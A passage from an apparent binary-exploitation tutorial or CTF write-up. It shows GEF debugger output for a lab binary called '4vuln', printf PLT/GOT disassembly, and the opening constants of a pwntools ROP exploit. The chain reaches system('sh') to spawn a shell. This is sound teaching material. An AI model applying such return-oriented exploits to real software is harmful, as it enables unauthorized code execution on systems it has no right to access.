Dump of assembler code for function printf@plt:
0x000000000001029 <<0>: jmp QWORD PTR [rip+0x2fca] # 0x404000 <printf@got.plt>
0x000000000001036 <<6>: push 0x0
0x00000000000103b <<11>: jmp 0x401020
End of assembler dump.
gef>
```

Your final source code for the exploit should look like this

```
from pwn import *
offset_to_system = 0xfa00
ret = 0x0000000000401016
pop_rdi_ret = 0x000000000040124b
pop_rbp_ret = 0x000000000040113d
sub_rdi_rbp = 0x000000000040115e
sh_string = 0x402004
printf_at_plt = 0x401030
printf_at_got = 0x404000
```



```
0x007ffcc3b17638 +0x0020: 0x0000000000000000
0x007ffcc3b17640 +0x0028: 0xc2860c732c0081a1
0x007ffcc3b17648 +0x0030: 0xc364045da78e81a1
0x007ffcc3b17650 +0x0038: 0x0000000000000000

code:x86:64

0x7f0dc7a91280 <cancel_handler+368> jmp 0x7f0dc7a911e8 <cancel_handler+216>
0x7f0dc7a91285 <cancel_handler+373> call 0x7f0dc7b6ea70 <__stack_chk_fail>
0x7f0dc7a9128a nop WORD PTR [rax+rax*1+0x0]
→ 0x7f0dc7a91290 <system+0> endbr64
0x7f0dc7a91294 <system+4> test rdi, rdi
0x7f0dc7a91297 <system+7> je 0x7f0dc7a912a0 <__libc_system+16>
0x7f0dc7a91299 <system+9> jmp 0x7f0dc7a90cd0 <do_system>
0x7f0dc7a9129e <system+14> xchg ax, ax
0x7f0dc7a912a0 <system+16> sub rsp, 0x8

threads

[#0] Id 1, Name: "4vuln", stopped 0x7f0dc7a91290 in __libc_system (), reason: BREAKPOINT

trace

[#0] 0x7f0dc7a91290 → __libc_system(line=0x402004 "sh")

gef> █
[0] 0:gdb* "09179ea69ef2" 21:48 18-Aug-22
```

As you step into or over the breakpoints, you can dump any printable strings by using the x/s command on a register, or in this case, a specific memory address such as x/5s 0x402004, which is the location of our 'sh' variable.